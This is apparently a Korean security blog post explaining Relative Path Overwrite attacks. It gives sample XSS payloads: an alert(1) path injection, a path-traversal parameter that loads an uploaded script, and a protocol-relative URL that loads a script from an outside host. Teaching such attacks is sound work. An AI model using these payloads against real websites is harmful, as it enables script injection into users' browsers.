Back
Featured image of post [WEB Hacking] Relative Path OverWrite

[WEB Hacking] Relative Path OverWrite

Relative Path Overwrite?

Relative Path Overwrite (RPO)는 일반적으로 서버와 브라우저가 상대 경로를 해석하는 과정에서 발생하는 차이점을 이용한 공격 임포트 하는 페이지를 조작할 수 있으면, 공격자가 의도한 자바스크립트, 스타일 시트 코드를 로드 시킬수 있음

<script src="/app/main.js"></script>
<script src="app/main.js"></script>

위의 스크립트를 로드할떄 https://test/main.php에 접속하여 로드할 경우 첫번째 스크립트는 https://test/app/main.js를 로드하지만 두번째 스크립트는 https://test/main.php/app/main.js를 로드 함

JavaScript 예시

  • 예를 들어 공격자가 RPO 취약점을 통해 원래 /static/script.js 로 로드되어야 할 파일을 /userinput/static/script.js의 형태로 로드할 수 있다고 가정
  • 서버에서 /userinput/static/script.js not found.와 같이 반환한다면 XSS 공격이 가능
  • 이 경우 공격자는 userinput 부분을 조작하여 index.php/;alert(1);//static/script.js와 같은 형태로 경로를 구성한다면 해당 내용이 script 태그의 src로 들어가 alert(1); 이라는 코드를 실행하는 것이 가능
  • 여기서 앞 부분 ‘/‘과 뒷 부분 ‘//'(주석)은 자바스크립트에서 문법 에러를 발생시키지 않도록 하기 위해 넣어둔 것

Path traversal 예시

[Request]
GET /page?link=../../../upload/my_script.js
[Response]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...

Ptorocol-relative URL 예시

[Request]
GET /page?test=//www.hahwul.com/xss.js
[Response]
...
<script src="//www.hahwul.com/xss.js"></script>
...

참고

https://learn.dreamhack.io/328#4
https://www.hahwul.com/cullinan/rpo/

comments powered by Disqus